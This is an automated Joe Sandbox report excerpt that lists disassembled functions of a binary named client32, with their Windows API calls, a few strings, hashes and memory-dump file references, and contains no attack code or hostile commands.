Opcode Fuzzy Hash: fd4f52dacf6346c68deca50a419aba338554c765379c0af81f02942a775e7cd5
Instruction Fuzzy Hash: FC310575A04B059FD315CF69C884B9AFBE4FB4C314F10866EE85AC7750EB34A854CB90

Function 1103F430 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

CloseHandle.KERNEL32(00000000,1105D780,00000001,00000000), ref: 1103F503

Part of subcall function 1105C9E0: EnterCriticalSection.KERNEL32(00000000,?,?,?,?,1103F515,?,?,Client,DisableThumbnail,00000000,00000000,Client,DisableWatch,00000000,00000000), ref: 1105C9FE
Part of subcall function 1105C9E0: LeaveCriticalSection.KERNEL32(00000000,?,DisableWatch,00000000,00000000,59FD48C0), ref: 1105CA7E
Part of subcall function 1105C9E0: SetEvent.KERNEL32(?,?,DisableWatch,00000000,00000000,59FD48C0), ref: 1105CA88

Strings

DisableThumbnail, xrefs: 1103F47C
Client, xrefs: 1103F466, 1103F481
DisableWatch, xrefs: 1103F461

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseEnterEventHandleLeave__wcstoi64
String ID: Client$DisableThumbnail$DisableWatch
API String ID: 2471723077-3419801620
Opcode ID: 3a08def9015ce182050579bb2c21c5865f3c5c2ea377edc44cec88c632d5218c
Instruction ID: 4287aa36ae45ddbffb52a6f4620c4c950a8715c4833b158dbab67a8c3e7a4128
Opcode Fuzzy Hash: 3a08def9015ce182050579bb2c21c5865f3c5c2ea377edc44cec88c632d5218c
Instruction Fuzzy Hash: 9B21E435E10616AFDB14CF658C44BAFB7A8EB80759F10417AED149B2C0FB30A901CBA2

Function 110395D0 Relevance: 6.1, APIs: 4, Instructions: 76COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 110395F6

Part of subcall function 11026830: GetWindowTextA.USER32(?,?,00000100), ref: 11026853
Part of subcall function 11026830: wvsprintfA.USER32(?,?,?), ref: 1102686B
Part of subcall function 11026830: SetWindowTextA.USER32(?,?), ref: 1102687C

_strncpy.LIBCMT ref: 11039625
SetDlgItemTextA.USER32(?,000003E9,00000000), ref: 1103967E
SetDlgItemTextA.USER32(?,0000046C,11194244), ref: 1103968E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Text$ItemWindow$_memset_strncpywvsprintf
String ID:
API String ID: 2512952459-0
Opcode ID: 0e4aec3191dc9d557d0695a390bb50908f497d0600642de312863fcb6453a126
Instruction ID: 11016f44d57e3dbf0621b50850c4c2fcbb07da68c585f74de2534b4cfa95b006
Opcode Fuzzy Hash: 0e4aec3191dc9d557d0695a390bb50908f497d0600642de312863fcb6453a126
Instruction Fuzzy Hash: 192108F9A10208ABD310DB60CC81EEBB7BCEB84708F004559FB4597581DAB1F954C7A1

Function 110B3340 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0000002C,59FD48C0,?,?,00000000,00000000,00000000,Function_00182078,000000FF,?,1103D571,?,59FD48C0,?,?,00000000), ref: 110B336F
LeaveCriticalSection.KERNEL32(0000002C,?,1103D571,?,59FD48C0,?,?,00000000,?,00000015,00000000), ref: 110B338E
SetEvent.KERNEL32(?,?,?,1103D571,?,59FD48C0,?,?,00000000,?,00000015,00000000), ref: 110B33D4
LeaveCriticalSection.KERNEL32(0000002C,?,?,1103D571,?,59FD48C0,?,?,00000000,?,00000015,00000000), ref: 110B33DB

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterEvent
String ID:
API String ID: 3394196147-0
Opcode ID: e042a88a3925eb2d51153c2a6544309ecf0762f38e12571a01f1b65a48f17828
Instruction ID: 2836c68be1e173ca97a40bbc94208784cbdba460b006acea4806f33579668287
Opcode Fuzzy Hash: e042a88a3925eb2d51153c2a6544309ecf0762f38e12571a01f1b65a48f17828
Instruction Fuzzy Hash: 6221DF76A087089FD315CFA8D884B9AF7E8FB4C715F008A2EE816C7640DB79B404CB94

Function 110494B0 Relevance: 6.1, APIs: 4, Instructions: 64COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 110494D5
_memset.LIBCMT ref: 110494E7
_free.LIBCMT ref: 1104951B
_free.LIBCMT ref: 11049532

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _free$_malloc_memset
String ID:
API String ID: 2102557794-0
Opcode ID: 1c22060808709afaf57f2649ea135f72b0ef8cdbe377c2159db6d762bce3d51e
Instruction ID: bc88cdd7d00a512ad937ccbd5546e1cf7d4331b3f90937632bbc6b3001438dde
Opcode Fuzzy Hash: 1c22060808709afaf57f2649ea135f72b0ef8cdbe377c2159db6d762bce3d51e
Instruction Fuzzy Hash: B01136359002056BD3118E28D884FDB77989F86318F14C074FD895F301E676F659C7E1

Function 1115F5A0 Relevance: 6.0, APIs: 4, Instructions: 50COMMON

Download Yara Rule

APIs

SetPropA.USER32(00000000,00000000,00000000), ref: 1115F5BE
SetWindowLongA.USER32(00000000,000000FC,1115EFA0), ref: 1115F5CF

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LongPropWindow
String ID:
API String ID: 2492497586-0
Opcode ID: c05c6e6288d3a3d14a402612a0d1db815d1716341a10c30e009bc35bd52c63d6
Instruction ID: ebaf63801bb2c113ff659c1712ac85dbfa77fd7e98781eb7f85c4d97d2f6111a
Opcode Fuzzy Hash: c05c6e6288d3a3d14a402612a0d1db815d1716341a10c30e009bc35bd52c63d6
Instruction Fuzzy Hash: 750180B66047259BD3208F6AE844F63FBB8EB91735F00862AF575C2684C775A445CB60

Function 1110F6C0 Relevance: 6.0, APIs: 4, Instructions: 39threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 1110F6CE
EnterCriticalSection.KERNEL32(00000000,76963760,00000000,111F0590,?,110CD565,00000000,76963760), ref: 1110F6D8
LeaveCriticalSection.KERNEL32(00000000,7697A1D0,00000000,?,110CD565,00000000,76963760), ref: 1110F6F8
LeaveCriticalSection.KERNEL32(00000000,7697A1D0,00000000,?,110CD565,00000000,76963760), ref: 1110F70C

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$CurrentEnterThread
String ID:
API String ID: 2905768538-0
Opcode ID: 1b85fd5003bc41475be2c39dfef8de15ef87e0ef5217c637cf4fdbd55d1a97c7
Instruction ID: 8fea8d8a0e9e9bca353f75b5b31663af0f33d7b4dd1854e9b66d2f3d0ef10814
Opcode Fuzzy Hash: 1b85fd5003bc41475be2c39dfef8de15ef87e0ef5217c637cf4fdbd55d1a97c7
Instruction Fuzzy Hash: 79F06D7661122CAFC705DF68D88489AB7A8FF99316B10416AF925D7200EB31A905CBE2

Function 111255F0 Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32(0000004E), ref: 11125618
GetSystemMetrics.USER32(0000004F), ref: 1112561F
GetSystemMetrics.USER32(00000000), ref: 1112563C
GetSystemMetrics.USER32(00000001), ref: 11125649

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-0
Opcode ID: 07959606f148dd7a76db80489b0d6611aeda32f58190f223d79de68461939c76
Instruction ID: 0e614260bbeea70f64d5cf2d11fc089c3b17e942c28c3c8fe15be07d3787ba7c
Opcode Fuzzy Hash: 07959606f148dd7a76db80489b0d6611aeda32f58190f223d79de68461939c76
Instruction Fuzzy Hash: E901AF706007059FE320EFA9D880B46F7E8EF44B10F10C42ED25EC7A90D7B4A880CB90

Function 11137470 Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,00000000,76963760,110F787A,?,00000104), ref: 11137478
GlobalDeleteAtom.KERNEL32 ref: 11137486

Part of subcall function 11112450: FindWindowA.USER32(MSOfficeWClass,00000000), ref: 1111245A
Part of subcall function 11112450: SendMessageA.USER32(00000000,00000414,00000000,00000000), ref: 11112470

DeleteObject.GDI32(00000000), ref: 111374BA
DeleteObject.GDI32(?), ref: 111374C4

Part of subcall function 11095550: _memset.LIBCMT ref: 1109557F
Part of subcall function 11095550: FreeLibrary.KERNEL32(00000000,?,76974920,111190F7,00000002), ref: 1109558A

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Delete$ObjectWindow$AtomDestroyFindFreeGlobalLibraryMessageSend_memset
String ID:
API String ID: 370783926-0
Opcode ID: 53fdca84920e40efe94fc3fa58a785f55c5950bd8829f110330c5c5a02a08ff7
Instruction ID: 14ccb1b08635f6ad0dbd88351c003f3151617864b33ccf8e0f064d8c319cfbe3
Opcode Fuzzy Hash: 53fdca84920e40efe94fc3fa58a785f55c5950bd8829f110330c5c5a02a08ff7
Instruction Fuzzy Hash: 2FF02776A14A2457D6146B39AC84F2BF7EC9FC4B29705402CF969E3208EA24F801C7A1

Function 1109D920 Relevance: 6.0, APIs: 4, Instructions: 29synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00002710,00000000,033B5C68,1102D6AE), ref: 1109D943
SetEvent.KERNEL32(?), ref: 1109D949
WaitForSingleObject.KERNEL32(?,00002710), ref: 1109D958
CloseHandle.KERNEL32(?), ref: 1109D95E

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ObjectSingleWait$CloseEventHandle
String ID:
API String ID: 1408678129-0
Opcode ID: 846780fe24238d05f8ea303f766d702ce9d445e534c6b853cd2d17a2a231c517
Instruction ID: c4e094f67cca868105e763c6fb19f34944fabb5e905d4d31a135331f0fcc6d8b
Opcode Fuzzy Hash: 846780fe24238d05f8ea303f766d702ce9d445e534c6b853cd2d17a2a231c517
Instruction Fuzzy Hash: D2F0BE356047149BE324DB7CC884A1BF7E9BF8C700B04891DE1AAC3680C6B0F840CB50

Function 11113240 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

LoadCursorA.USER32(00000000,00007F00), ref: 11113252
SetCursor.USER32(00000000,?,?,11120606,00000000,00000000,11124B99,00000000,00000000,00000000,00000000,View,BlankAll,00000000,00000000,00000004), ref: 11113259
DestroyCursor.USER32(?), ref: 11113270
DestroyCursor.USER32(?), ref: 1111327D

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Cursor$Destroy$Load
String ID:
API String ID: 3167891023-0
Opcode ID: cf8b1945f01808845252a66b1172c4e509a608c0218fa3bfec4bfdca6e73ac18
Instruction ID: a2e30b34d5d2f1c91a37dce4984a5637c3bf472293567a6a29e36ae9608199f7
Opcode Fuzzy Hash: cf8b1945f01808845252a66b1172c4e509a608c0218fa3bfec4bfdca6e73ac18
Instruction Fuzzy Hash: 5EE09B7091CB009BDB019B798CCC957F7E8BBD4711B20093DE17EC210CC735A4418B10

Function 1103F680 Relevance: 6.0, APIs: 4, Instructions: 17registryCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1103F68B
RegFlushKey.ADVAPI32(?), ref: 1103F691
GetTickCount.KERNEL32 ref: 1103F697
RegCloseKey.ADVAPI32(?), ref: 1103F69A

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$CloseFlush
String ID:
API String ID: 2750089244-0
Opcode ID: 19c1c69e5854f11e5428eaa1a0434da58e73af4fd149b7a53c3dd0f6c9fe46fd
Instruction ID: b6ea975446b4fd8bbc320cf01611fb481712397f03ed61272bf20ca86f9a5abf
Opcode Fuzzy Hash: 19c1c69e5854f11e5428eaa1a0434da58e73af4fd149b7a53c3dd0f6c9fe46fd
Instruction Fuzzy Hash: 65D09E3652402CAF86056AB5AC888AFFB6CDA895653055136F625D2104866568029BE1

Function 110071A5 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

CreateWindowExA.USER32(00000000,edit,00000000,40040004,?,?,?,?,?,00000002,00000000,?), ref: 110072F7
SetFocus.USER32(?), ref: 11007353

Strings

edit, xrefs: 110072F1

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
